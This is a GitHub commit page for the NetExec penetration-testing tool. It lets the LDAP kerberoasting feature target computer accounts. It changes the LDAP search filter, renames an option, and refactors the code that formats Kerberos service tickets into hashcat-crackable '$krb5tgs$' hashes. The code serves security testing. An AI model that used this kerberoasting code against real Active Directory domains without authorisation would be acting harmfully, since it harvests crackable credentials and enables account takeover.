Skip to content

Commit 56da9af

Browse files
authored
Merge pull request Pennyw0rth#919 from Pennyw0rth/neff-allow-kerbroast-computers
Allow kerbroast computers
2 parents c689eb0 + 444e3dd commit 56da9af

3 files changed

Lines changed: 37 additions & 47 deletions

File tree

nxc/protocols/ldap.py

Lines changed: 10 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1041,23 +1041,23 @@ def kerberoasting(self):
10411041
f.write(line + "\n")
10421042
return
10431043

1044-
if self.args.kerberoast_users:
1045-
target_usernames = []
1046-
for item in self.args.kerberoast_users:
1044+
if self.args.kerberoast_account:
1045+
target_accounts = []
1046+
for item in self.args.kerberoast_account:
10471047
if os.path.isfile(item):
10481048
try:
10491049
with open(item, encoding="utf-8") as f:
1050-
target_usernames.extend(line.strip() for line in f if line.strip())
1050+
target_accounts.extend(line.strip() for line in f if line.strip())
10511051
except Exception as e:
10521052
self.logger.fail(f"Failed to read file '{item}': {e}")
10531053
else:
1054-
target_usernames.append(item.strip())
1054+
target_accounts.append(item.strip())
10551055

1056-
self.logger.info(f"Targeting specific users for kerberoasting: {', '.join(target_usernames)}")
1056+
self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}")
10571057

10581058
# build search filter for specific users
1059-
user_filter = "".join([f"(sAMAccountName={username})" for username in target_usernames])
1060-
searchFilter = f"(&(servicePrincipalName=*)(!(objectCategory=computer))(|{user_filter}))"
1059+
user_filter = "".join([f"(sAMAccountName={username})" for username in target_accounts])
1060+
searchFilter = f"(&(servicePrincipalName=*)(|{user_filter}))"
10611061
else:
10621062
# default to all
10631063
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
@@ -1069,6 +1069,7 @@ def kerberoasting(self):
10691069
"MemberOf",
10701070
"pwdLastSet",
10711071
"lastLogon",
1072+
"objectClass",
10721073
]
10731074
resp = self.search(searchFilter, attributes, 0)
10741075
resp_parsed = parse_result_attributes(resp)
@@ -1113,6 +1114,7 @@ def kerberoasting(self):
11131114
sessionKey,
11141115
user["sAMAccountName"],
11151116
downLevelLogonName,
1117+
is_computer="computer" in user.get("objectClass", [])
11161118
)
11171119

11181120
pwdLastSet = "<never>" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"]))))

nxc/protocols/ldap/kerberos.py

Lines changed: 26 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ def __init__(self, connection):
4646
if self.password is None:
4747
self.password = ""
4848

49-
def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None):
49+
def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None, is_computer=False):
5050
decoded_tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
5151

5252
# According to RFC4757 (RC4-HMAC) the cipher part is like:
@@ -63,44 +63,32 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None):
6363
# Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
6464
# last 12 bytes of the encrypted ticket represent the checksum of the decrypted
6565
# ticket
66-
if decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.rc4_hmac.value:
67-
entry = "$krb5tgs${}$*{}${}${}*${}${}".format(
68-
constants.EncryptionTypes.rc4_hmac.value,
69-
username,
70-
decoded_tgs["ticket"]["realm"],
71-
spn.replace(":", "~"),
72-
hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(),
73-
hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(),
74-
)
75-
elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
76-
entry = "$krb5tgs${}${}${}$*{}*${}${}".format(
77-
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value,
78-
username,
79-
decoded_tgs["ticket"]["realm"],
80-
spn.replace(":", "~"),
81-
hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(),
82-
hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode,
83-
)
84-
elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
85-
entry = "$krb5tgs${}${}${}$*{}*${}${}".format(
86-
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value,
87-
username,
88-
decoded_tgs["ticket"]["realm"],
89-
spn.replace(":", "~"),
90-
hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(),
91-
hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode(),
92-
)
93-
elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.des_cbc_md5.value:
94-
entry = "$krb5tgs${}$*{}${}${}*${}${}".format(
95-
constants.EncryptionTypes.des_cbc_md5.value,
96-
username,
97-
decoded_tgs["ticket"]["realm"],
98-
spn.replace(":", "~"),
99-
hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(),
100-
hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(),
101-
)
66+
67+
# Define variables
68+
enc = decoded_tgs["ticket"]["enc-part"]
69+
etype = enc["etype"]
70+
cipher = enc["cipher"].asOctets()
71+
realm = decoded_tgs["ticket"]["realm"]
72+
spn_fmt = spn.replace(":", "~")
73+
74+
# Replace username if it's a computer account
75+
if is_computer:
76+
account = f"host{username.rstrip('$').lower()}.{str(realm).lower()}"
77+
else:
78+
if username.endswith("$"):
79+
nxc_logger.fail("Account ends with $, but is_computer is False. TGS output is likely to be incorrect.")
80+
account = username
81+
82+
if etype in (constants.EncryptionTypes.rc4_hmac.value, constants.EncryptionTypes.des_cbc_md5.value):
83+
chk = hexlify(cipher[:16]).decode()
84+
data = hexlify(cipher[16:]).decode()
85+
entry = f"$krb5tgs${etype}$*{account}${realm}${spn_fmt}*${chk}${data}"
86+
elif etype in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value):
87+
chk = hexlify(cipher[-12:]).decode()
88+
data = hexlify(cipher[:-12]).decode()
89+
entry = f"$krb5tgs${etype}${account}${realm}$*{spn_fmt}*${chk}${data}"
10290
else:
103-
nxc_logger.error(f"Skipping {decoded_tgs['ticket']['sname']['name-string'][0]}/{decoded_tgs['ticket']['sname']['name-string'][1]} due to incompatible e-type {decoded_tgs['ticket']['enc-part']['etype']:d}")
91+
nxc_logger.fail(f"Skipping {decoded_tgs['ticket']['sname']['name-string'][0]}/{decoded_tgs['ticket']['sname']['name-string'][1]} due to incompatible e-type {decoded_tgs['ticket']['enc-part']['etype']:d}")
10492

10593
return entry
10694

nxc/protocols/ldap/proto_args.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ def proto_args(parser, parents):
1414
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
1515
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
1616
kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file")
17-
kerberoast_users_arg = egroup.add_argument("--kerberoast-users", nargs="+", dest="kerberoast_users", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific users for kerberoasting (usernames or file containing usernames)")
17+
kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)")
1818
egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users")
1919

2020
# Make kerberoast-users require kerberoasting

0 commit comments

Comments
 (0)